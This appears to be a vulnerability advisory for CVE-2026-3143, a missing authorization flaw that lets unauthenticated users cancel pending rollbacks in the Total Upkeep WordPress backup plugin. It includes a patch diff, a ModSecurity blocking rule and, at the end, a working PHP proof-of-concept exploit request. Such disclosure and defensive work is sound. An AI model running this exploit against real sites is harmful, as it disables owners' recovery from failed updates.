Atomic Edge analysis of CVE-2026-3143:
This vulnerability is a missing authorization issue in the Total Upkeep (BoldGrid Backup) plugin for WordPress, affecting versions up to and including 1.17.1. The flaw allows unauthenticated attackers to cancel a pending rollback, potentially preventing a WordPress installation from automatically reverting a failed update. The vulnerability has a CVSS score of 5.3 (Medium), with CWE-862: Missing Authorization.
Root Cause:
The vulnerability resides in the `wp_ajax_cli_cancel` function within `/boldgrid-backup/admin/class-boldgrid-backup-admin-auto-rollback.php`. In versions prior to 1.17.2, the function only validated a `backup_id` parameter, which was effectively public knowledge (the backup identifier). The code at lines 1197-1206 contained a comment stating: “This admin-ajax call is unprivileged, so that the CLI script can make the call. The only validation that we use is the backup identifier. Nobody will be trying to cancel rollbacks (with a 15-minute window) anyways.” This approach used no nonce and no capability check, making it trivially exploitable by anyone who could guess or obtain the backup identifier.
Exploitation:
An attacker without authentication can craft an HTTP GET request to the WordPress admin-ajax endpoint with the `action=boldgrid_cli_cancel_rollback` and `backup_id` parameters. Specifically, the request would target: `/wp-admin/admin-ajax.php?action=boldgrid_cli_cancel_rollback&backup_id=`. The backup ID is predictable as it is generated from site-specific data but not secret. An attacker monitoring cron job outputs or logs could also easily obtain it. Upon receipt, the plugin would call the `cancel()` method, which deletes the pending rollback option (`boldgrid_backup_pending_rollback`) via `$this->core->settings->delete_rollback_option()`, effectively aborting the automated rollback process.
Patch Analysis:
The patch introduces a shared secret mechanism. In the cron scheduling code at `/boldgrid-backup/admin/class-boldgrid-backup-admin-cron.php`, a random 32-character string (`cli_cancel_secret`) is generated via `wp_generate_password()` and stored as a site option. This secret is then appended to the CLI command arguments. In the `cancel_rollback()` function in `/boldgrid-backup/cli/class-site-restore.php`, the cancel URL is built to include both the `backup_id` and the `cli_cancel_secret`. The vulnerable `wp_ajax_cli_cancel` function now requires both a valid `backup_id` AND a matching secret, verified using `hash_equals()` to prevent timing attacks. The secret is a one-time token, as the storage is deleted after the rollback is cancelled or completed. This ensures only the CLI process (which knows the secret) can cancel the rollback.
Impact:
Successful exploitation allows an unauthenticated attacker to cancel a pending rollback, which would otherwise reverse a failed WordPress update. This could leave a site in a broken or partially updated state, potentially causing downtime, data loss, or security issues. The rollback feature underlies automated update protection, so disabling it removes a key safety net for site updates. While not leading to direct privilege escalation or data exfiltration, it undermines a critical integrity mechanism.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/boldgrid-backup/admin/class-boldgrid-backup-admin-auto-rollback.php
+++ b/boldgrid-backup/admin/class-boldgrid-backup-admin-auto-rollback.php
@@ -205,6 +205,9 @@
// Remove WP option boldgrid_backup_pending_rollback.
$this->core->settings->delete_rollback_option();
+
+ // Remove the one-time CLI cancel secret.
+ delete_site_option( 'boldgrid_backup_cli_cancel_secret' );
}
/**
@@ -1194,16 +1197,23 @@
/**
* Callback function for canceling a pending rollback from the cli process.
*
- * This admin-ajax call is unprovileged, so that the CLI script can make the call.
- * The only validation that we use is the backup identifier.
- * Nobody will be trying to cancel rollbacks (with a 15-minute window) anyways.
+ * This admin-ajax call is unprivileged, so that the CLI script can make the call.
+ * Validation requires both the backup identifier and a one-time random secret that
+ * was generated when the restore cron job was scheduled.
*
* @since 1.10.7
*/
public function wp_ajax_cli_cancel() {
- $backup_id_match = ! empty( $_GET['backup_id'] ) && $this->core->get_backup_identifier() === sanitize_key( $_GET['backup_id'] ); // phpcs:ignore WordPress.CSRF.NonceVerification.NoNonceVerification
+ // phpcs:ignore WordPress.CSRF.NonceVerification.Recommended
+ $backup_id_match = ! empty( $_GET['backup_id'] ) && $this->core->get_backup_identifier() === sanitize_key( $_GET['backup_id'] );
+
+ $stored_secret = get_site_option( 'boldgrid_backup_cli_cancel_secret', '' );
- if ( $backup_id_match ) {
+ // phpcs:ignore WordPress.CSRF.NonceVerification.Recommended
+ $secret_match = ! empty( $stored_secret ) && ! empty( $_GET['cli_cancel_secret'] ) &&
+ hash_equals( $stored_secret, sanitize_text_field( wp_unslash( $_GET['cli_cancel_secret'] ) ) );
+
+ if ( $backup_id_match && $secret_match ) {
$this->cancel();
wp_send_json_success( __( 'Rollback canceled', 'boldgrid-backup' ) );
} else {
--- a/boldgrid-backup/admin/class-boldgrid-backup-admin-cron.php
+++ b/boldgrid-backup/admin/class-boldgrid-backup-admin-cron.php
@@ -778,6 +778,10 @@
$settings = $this->core->settings->get_settings();
$backup_id = $this->core->get_backup_identifier();
+ // Generate and store a one-time random secret for the CLI cancel endpoint.
+ $cli_cancel_secret = wp_generate_password( 32, false );
+ update_site_option( 'boldgrid_backup_cli_cancel_secret', $cli_cancel_secret );
+
$entry_parts = [
date( $time['minute'] . ' ' . $time['hour'], $time['deadline'] ) . ' * * ' . date( 'w' ),
$this->cron_command,
@@ -795,6 +799,7 @@
'mode=restore restore',
'notify email=' . $settings['notification_email'],
'backup_id=' . $backup_id,
+ 'cli_cancel_secret=' . $cli_cancel_secret,
'zip=' . $this->core->archive->filepath,
];
--- a/boldgrid-backup/boldgrid-backup.php
+++ b/boldgrid-backup/boldgrid-backup.php
@@ -16,7 +16,7 @@
* Plugin Name: Total Upkeep
* Plugin URI: https://www.boldgrid.com/boldgrid-backup/
* Description: Automated backups, remote backup to Amazon S3 and Google Drive, stop website crashes before they happen and more. Total Upkeep is the backup solution you need.
- * Version: 1.17.1
+ * Version: 1.17.2
* Author: BoldGrid
* Author URI: https://www.boldgrid.com/
* License: GPL-2.0+
--- a/boldgrid-backup/cli/class-site-restore.php
+++ b/boldgrid-backup/cli/class-site-restore.php
@@ -360,7 +360,8 @@
private function cancel_rollback() {
require_once dirname( dirname( __FILE__ ) ) . '/cron/class-boldgrid-backup-url-helper.php';
$url = Info::get_info()['siteurl'] . '/wp-admin/admin-ajax.php?action=boldgrid_cli_cancel_rollback&backup_id=' .
- Info::get_arg_value( 'backup_id' );
+ rawurlencode( (string) Info::get_arg_value( 'backup_id' ) ) .
+ '&cli_cancel_secret=' . rawurlencode( (string) Info::get_arg_value( 'cli_cancel_secret' ) );
$success = ( new Boldgrid_Backup_Url_Helper() )->call_url( $url, $status, $errorno, $error );
}
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3143
# Blocks unauthenticated rollback cancellation attempts targeting the vulnerable AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20263143,phase:2,deny,status:403,chain,msg:'CVE-2026-3143: Total Upkeep rollback cancel attempt without required secret',severity:'CRITICAL',tag:'CVE-2026-3143'"
SecRule ARGS_GET:action "@streq boldgrid_cli_cancel_rollback"
"t:none,chain"
SecRule ARGS_GET:cli_cancel_secret "@rx ^$"
"t:none,chain"
SecRule ARGS_GET:backup_id "@rx .+"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3143 - Total Upkeep <= 1.17.1 - Missing Authorization to Unauthenticated Rollback Cancellation
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$backup_id = 'your_target_backup_id'; // Obtain from logs or cron output
// Build the AJAX endpoint URL
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$query_params = http_build_query([
'action' => 'boldgrid_cli_cancel_rollback',
'backup_id' => $backup_id,
]);
$full_url = $ajax_url . '?' . $query_params;
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for self-signed certs, remove for production
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_error($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
curl_close($ch);
exit(1);
}
curl_close($ch);
// Process response
if ($http_code === 200 && $response !== false) {
$decoded = json_decode($response);
if (json_last_error() === JSON_ERROR_NONE) {
if (isset($decoded->success) && $decoded->success === true) {
echo "[+] Rollback cancellation successful! The pending rollback has been removed.n";
echo "[+] Vulnerability confirmed: CVE-2026-3143n";
} else {
echo "[-] Request failed: " . (isset($decoded->data) ? $decoded->data : 'Invalid response') . "n";
}
} else {
echo "[-] Could not decode JSON response. Raw:n" . $response . "n";
}
} else {
echo "[-] HTTP request failed with status code: $http_coden";
}
?>